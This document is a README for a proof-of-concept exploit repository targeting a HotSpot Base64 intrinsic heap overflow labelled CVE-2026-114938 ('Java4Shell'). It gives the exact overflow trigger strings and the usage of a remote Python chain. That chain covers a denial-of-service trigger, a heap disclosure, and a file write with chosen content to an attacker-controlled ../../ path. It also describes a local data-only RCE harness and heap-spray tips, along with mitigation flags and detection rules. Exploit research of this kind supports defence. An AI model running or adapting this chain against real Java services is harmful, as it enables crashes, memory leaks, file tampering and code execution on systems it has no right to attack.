
Proof-of-concept and lab tooling for CVE-2026-114938 (Java4Shell), an OpenJDK HotSpot Base64 intrinsic heap overflow, with remote trigger, heap disclosure, and file-write chain.
https://github.com/user-attachments/assets/7f9c41bf-4d2a-4042-bf31-5bd7c4365635
python3 cve_2026_114938_remote_v4.py -h
usage: cve_2026_114938_remote_v4.py [-h] [--target TARGET] [--port PORT] [--container CONTAINER]
[--service SERVICE] [--evidence EVIDENCE] [--retries RETRIES]
[--rpath RPATH] [--content CONTENT] [--skip-recreate]
CVE-2026-114938 Java4Shell remote exploitation chain (own lab only)
options:
--target TARGET Target host (default: localhost)
--port PORT Target port (default: 9094, the SDE-emulated service)
--container NAME Docker container to monitor/forensic (default: cve-lab-temurin21-sde)
--service NAME Compose service for recreate (default: temurin21sde)
--retries N Survives mid-request JVM death; recreate + refire (default: 3)
--rpath NAME Attacker-controlled file name; supports ../../ traversal
--content TEXT Chosen file content for the path-write proof
--skip-recreate Reuse the running JVM (skip the ~6 min emulated boot)
Chain driven remotely over HTTP: trigger -> writer primitive -> JavaBleed heap
disclosure -> chosen-content file write at attacker-controlled path.
| Field | Value |
|---|---|
| CVE | CVE-2026-114938 ("Java4Shell") |
| Severity | Critical |
| CVSS | 9.2 (v4.0) / 8.1 (v3.1) |
| CWE | CWE-191 (Integer Underflow) -> CWE-122 (Heap Buffer Overflow) |
| Component | OpenJDK HotSpot — StubGenerator::generate_base64_decodeBlock() (AVX-512 VBMI intrinsic) |
| Impact | Heap corruption via 62-byte OOB write; DoS, heap disclosure (JavaBleed), per-target RCE |
| Fixed Versions | 17.0.21.1 / 21.0.13.1 / 25.0.5.1 / 27.0.1.1 (JDK-8393212) |
"A"x64 + "=", 65 bytes) underflows the output-length computation to -1. BZHI with count -1 (0xFF) clears no mask bits -> VMOVDQU8 stores a full 64-byte block past the destination buffer. The IllegalArgumentException is thrown after the corruption.avx512f + avx512bw + avx512vbmi + bmi2 (Ice Lake+ / Zen 4+). ARM64 not affected."A"x64 + "=" (65 B). JDK 17 (17.0.6+): "A"x128 + "=" (129 B).cmpl(length, 4); jcc less, L_bruteForce).| Component | Value |
|---|---|
| Host CPU | Intel Core Ultra 7 265H (Arrow Lake) — no AVX-512 (AVX2+bmi2 only) |
| Emulation | Intel SDE, -icx (Ice Lake) — modifies CPUID seen by the JVM |
| Guest JDK | Temurin 21.0.13+9 (container) / Debian OpenJDK 21.0.12.1 (host) |
| Flags | -Xcomp -XX:-TieredCompilation; UseAVX=3, UseBASE64Intrinsics=true |
| Target app | Spring Boot 3.3.5, two-arg Base64.decode(src, dst), Tomcat |
| Lab services | temurin17 :9091 / temurin21 :9092 / oracle21 :9093 / temurin21sde :9094 |
No AVX-512 hardware was used anywhere: hypervisors cannot add CPU features and QEMU TCG has no AVX-512, so the entire lab runs under Intel SDE userspace emulation.
CVE-2026-114938/
├── docker-compose.yml / docker-compose.override.yml # intrinsics pinned ON (lab only)
├── base64-decoder/ # Spring Boot app (two-arg decode + /batch endpoint)
├── sde/ # Intel SDE kit
├── trigger/Base64TriggerSDE.java # standalone bounded reproduction
├── cve_2026_114938_remote_v4.py # full remote chain (this README's tool)
├── exploit/ # local chain harnesses (see notes)
│ ├── WriterPrimitiveSteer_v*.java # template/window measurement harnesses
│ ├── WriterReader_v1.java # writer -> linear write -> JavaBleed
│ └── DataOnlyRCE_v3.java # local data-only command execution
└── evidence/ # hs_err logs, leak captures
Standalone trigger (bounded, safe to run):
sde/sde64 -icx -- java -Xcomp -XX:-TieredCompilation -cp trigger Base64TriggerSDE 1000
# runtime=21.0.12.1+1-1-Debian rejected=true changed=112 first=0 last=111 REPRODUCED
Local full chain (writer -> disclosure -> data-only RCE):
sde/sde64 -icx -- java -Xcomp -XX:-TieredCompilation -cp upstream/exploit DataOnlyRCE_v3
# [BEFORE] "echo SAFE > /tmp/j4s" -> [AFTER] "touch /tmp/j4s_pwned" -> JVM executes it
Remote chain (fresh container, all phases):
python3 cve_2026_114938_remote_v4.py --target localhost --port 9094
# already booted? add --skip-recreate
evidence/)| Layer | Result |
|---|---|
| Standalone trigger | changed=112 (64 B past the 48 B legit output); mitigation control clean |
| Local length corruption | deterministic (~50k victims); template byte-map measured |
| Template windows | store-rel 36 = 1771742825 (usable positive); 48–63 = constant 0x9A (matches disclosure) |
| Local data-only RCE | benign command string -> attacker command, executed by Runtime.exec |
| Remote DoS | 5 kills, SIGSEGV G1ParScanThreadState::trim_queue_to_threshold, exit 127 |
| Remote writer primitive | HTTP response reports declared=1771742825 for a 20-byte buffer |
| Remote JavaBleed | 4096 heap bytes in HTTP response; cross-item canary recovered |
| Remote file write | chosen content at attacker-controlled path (../../tmp/..., container root) |
Honest boundary: remote RCE needs an application-level exec/reload sink or Code-Cache-level escalation; this minimal app intentionally has none. The primitives are proven; the sink is per-target engineering.
dstLen=66 the length field sits at store-relative +36 and becomes 1771742825 (positive = usable writer).System.exit(0) before GC, otherwise the process dies in G1ParScanThreadState::trim_queue_to_threshold (same frame as the remote kills).new String(String) shares the backing array - use new String(bytes, charset) to force per-spray copies, or the data-only RCE finds zero live sites.c3-standard-4) remains as a cross-check of the measured template residue.java -XX:-UseBASE64Intrinsics MyApp # recommended, narrow impact
java -XX:UseAVX=2 MyApp # x86-64 only
hs_err files match the published Sigma indicators (SIGSEGV + G1ParScanThreadState in a java process); Suricata rules match the 65/129-byte trigger patterns and warm-up floods.Vulnerability Discovery
This lab & tooling